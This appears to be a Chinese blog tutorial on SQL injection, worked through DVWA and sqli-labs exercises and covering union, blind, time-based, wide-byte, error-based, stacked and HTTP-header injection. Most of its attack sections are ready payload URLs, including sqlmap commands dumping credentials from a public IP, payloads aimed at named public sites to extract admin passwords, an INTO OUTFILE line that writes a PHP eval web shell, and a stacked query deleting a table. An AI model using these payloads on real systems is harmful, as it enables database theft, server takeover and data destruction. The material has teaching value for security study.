SQL注入基础知识 SQL注入

普通注入

字符注入

靶场环境:

  • DVWA SQL注入低

1、输入正常值,返回正常

SQL注入基础知识
SQL注入

2、输入1',报错

SQL注入基础知识
SQL注入

猜测SQL语句:

SELECT first_name, last_name FROM users WHERE user_id = '$id'

3、猜测字段数量

为2时正常,为2时错误

SQL注入基础知识
SQL注入

SQL注入基础知识
SQL注入

4、union 联合查询猜测字段位置

SQL注入基础知识
SQL注入

5、查询数据库基本信息,库名字,系统用户、数据库版本

SQL注入基础知识
SQL注入

6、查询所有库名

SQL注入基础知识
SQL注入

7、查询dvwa的所有表

SQL注入基础知识
SQL注入

8、查询user表所有的用户姓名和密码字段

SQL注入基础知识
SQL注入

9、查询用户名和密码数据

SQL注入基础知识
SQL注入

数字注入

1、正常输入

SQL注入基础知识
SQL注入

加上‘号报错

SQL注入基础知识
SQL注入

测试 and 1=1 | and 1=2结果,确定数字型注入

SQL注入基础知识
SQL注入

SQL注入基础知识
SQL注入

2、sql语句

SELECT first_name, last_name FROM users WHERE user_id = $id

3、剩下的如上

盲注

布尔型

true或着flase

有报错

1、正常输入

SQL注入基础知识
SQL注入

错误输入

SQL注入基础知识
SQL注入

2、猜测SQL语句

SELECT * FROM users WHERE id='$id' LIMIT 0,1

手工比较麻烦,使用bp代替

数据库数量

http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))=115 --+

查询当前数据库长度

http://127.0.0.1/sqlilab/Less-5/?id=1' and length(database())='9'--+

SQL注入基础知识
SQL注入SQL注入基础知识
SQL注入SQL注入基础知识
SQL注入

4、查询数据库名字

sql语句

http://127.0.0.1/sqlilab/Less-5/?id=1' and substr(database(),1,1)<'t'--+

SQL注入基础知识
SQL注入

SQL注入基础知识
SQL注入

SQL注入基础知识
SQL注入

SQL注入基础知识
SQL注入

依次爆破得到库名

5、获取表名

http://127.0.0.1/sqli/Less-5/?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1)='s' --+

SQL注入基础知识
SQL注入

SQL注入基础知识
SQL注入

表为emails

6、猜测字段数量和字段名字

http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')=1 --+

SQL注入基础知识
SQL注入

一共有三个字段,接着猜测三个字段的长度

sql语句

# 第一个字段长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1))=1--+ 
# 第二个字段长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 1,1))=1--+ 

SQL注入基础知识
SQL注入

SQL注入基础知识
SQL注入

第一个为2,第二个为8,爆破数据

http://127.0.0.1/sqli/Less-5/?id=1' and substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1)='i'  --+

SQL注入基础知识
SQL注入

SQL注入基础知识
SQL注入

第一个id,第二个username

爆破第一个字段数据长度

sql语句

http://127.0.0.1/sqli/Less-5/?id=1' and length((select username from users limit 0,1))=4  --+

SQL注入基础知识
SQL注入

第一个数据长度为4

获取第一个字段数据sql

http://127.0.0.1/sqli/Less-5/?id=1' and substr((select username from users limit 0,1),1,1)='d'  --+

SQL注入基础知识
SQL注入

至此手工盲注基础(报错完结)

无报错

来到sqlilabs第八关

1、正常输入 ?id=1

SQL注入基础知识
SQL注入

2、加上单引号,输入错误,但是没有报错

SQL注入基础知识
SQL注入

加上注释符 --+,回显正常,确定存在盲注

SQL注入基础知识
SQL注入

3、判断注入位置

SQL注入基础知识
SQL注入

SQL注入基础知识
SQL注入

order by 3时正确,为4时错误,说明有三个字段数

SELECT * FROM users WHERE id='$id' LIMIT 0,1

4、进行注入

  • 判断当前数据库的长度
?id=1' and length(database())='9'--+

SQL注入基础知识
SQL注入

数据库长度是8位

  • 判断数据库名字

SQL注入基础知识
SQL注入

SQL注入基础知识
SQL注入

数据库名字第一个是s,依次类推。

  • 判断当前表明
http://127.0.0.1/sqli/Less-5/?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e' --+

SQL注入基础知识
SQL注入

SQL注入基础知识
SQL注入

和上面一样使用bp爆破,得到表明是emails

  • 判断字段数量
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')=1 --+

SQL注入基础知识
SQL注入

SQL注入基础知识
SQL注入

一共有三个字段

  • 查询字段长度
# 第一个字段长度
http://127.0.0.1/sqli/Less-8/?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1))=1--+ 
# 第二个字段长度
http://127.0.0.1/sqli/Less-8/?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 1,1))=1--+ 

第一个字段长度是2,第二个是8

SQL注入基础知识
SQL注入

SQL注入基础知识
SQL注入

  • 查询字段名字
http://127.0.0.1/sqli/Less-5/?id=1' and substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1)='i'  --+

SQL注入基础知识
SQL注入

SQL注入基础知识
SQL注入

字段数据是id username

  • 爆破数据长度
http://127.0.0.1/sqli/Less-8/?id=1' and length((select username from users limit 0,1))=4  --+
  • 爆破数据
http://127.0.0.1/sqli/Less-8/?id=1' and substr((select username from users limit 0,1),1,1)='d'  --+

结束

时间型

http://127.0.0.1/sqli/Less-9/?id=1'
http://127.0.0.1/sqli/Less-9/?id=1"
http://127.0.0.1/sqli/Less-9/?id=1
无论怎么写,页面都没有回显,只能靠测试

1、 判断注入点

http://127.0.0.1/sqli/Less-9/?id=1' and sleep(3)--+

SQL注入基础知识
SQL注入

延迟3秒确定存在注入点

2、判断当前数据库名字

?id=1' and if(length(database())=8,sleep(3),1)--+
if(x,x,x)   #第一个x是条件,第二个是第一个条件成立执行,不成立执行第三个x

判断数据库长度是8

后续的不再赘述,和布尔盲注差不都,不过是用if()来进行判断

使用sqlmap实现时间盲注

--batch: 用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。
--technique:选择注入技术,-T:Time-based blind  (基于时间延迟注入)
--threads 10 :设置线程为10,运行速度会更快。
#查询数据库 #【security】 python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T --dbs --batch --threads 10 #获取数据库中的表 #【emails、referers、uagents、users】 python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T -D security --tables --batch --threads 10 #获取表中的字段名 #【id、username、password】 python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T -D security -T users --columns --batch --threads 10 #获取字段信息 【Dumb|Dumb、dhakkan|dumbo ...】 python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T -D security -T users -C username,password --dump --batch --threads 10

宽字节注入

SQL注入基础知识
SQL注入

在线GBK编码表:http://www.jsons.cn/gbkcodehttp://www.jsons.cn/gbkcode

手工注入

在线网址:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1

1、正常输入

SQL注入基础知识
SQL注入

输入1’

SQL注入基础知识
SQL注入

用上文宽字节构造方法,构造id=1%df’或者id=1%aa’,成功报错

SQL注入基础知识
SQL注入

接着就是正常的手工字符型报错入住

SQL注入基础知识
SQL注入

SQL注入基础知识
SQL注入

2个字段

判断回显位置

SQL注入基础知识
SQL注入

查数据库

SQL注入基础知识
SQL注入

查表

SQL注入基础知识
SQL注入

SQL注入基础知识
SQL注入

ctf4的表

SQL注入基础知识
SQL注入

字段数据

SQL注入基础知识
SQL注入

结束

读写文件

读取文件

SQL注入基础知识
SQL注入

SQL注入基础知识
SQL注入

SQL注入基础知识
SQL注入

SQL注入基础知识
SQL注入

貌似失败了,不知道为啥

写入文件

第七关

SQL注入基础知识
SQL注入

SQL注入基础知识
SQL注入

SQL注入基础知识
SQL注入

SQL注入基础知识
SQL注入

写入文件

http://127.0.0.1/sqli/Less-7/?id=-1')) union select 1,2,"<?php @eval($_POST['pass']);?>" into outfile"D:\phpstudy\WWW\sqli\Less-7\b.php" --+

SQL注入基础知识
SQL注入

SQL注入基础知识
SQL注入

SQL注入基础知识
SQL注入

结束

报错注入

floor报错注入

参考文章:https://www.cnblogs.com/laoxiajiadeyun/p/10278512.html

SQL注入基础知识
SQL注入

#获取数据库名
?id=-1' union select 1,count(*),concat_ws('-',(select database()),floor(rand(0)*2))as a from information_schema.tables group by a--+ 
或者
?id=1' and (select 1 from (select count(*),concat('~',database(),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a) --+
#获取表名
?id=-1' union select 1,count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand()*2))as a from information_schema.tables group by a--+
或者
?id=1'and (select 1 from (select count(*),concat('~',(select table_name from information_schema.tables where table_schema = database() limit 0,1),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a) --+

updatexml

SQL注入基础知识
SQL注入

报错语句:

updatexml(1,concat(0x7e,(select database()),0x7e),1);

正好和useragent注入一起使用

SQL注入基础知识
SQL注入

extractvalue报错注入

extractvalue(1,concat(0x7e,(select database()),0x7e));

堆叠注入

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

http_header注入

ua注入

User-Agent: qing' and updatexml(1,concat(0x7e,(注入语句),0x7e),1) or'
爆数据库版本信息
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)  
链接用户
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)  
链接数据库
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) 
爆库
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)  
爆表
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1
爆字段
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)  
爆字段内容
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1) 

cookie注入

Cookie: uname=admin'(注入语句)#

refer注入

Referer:1 union select database(),2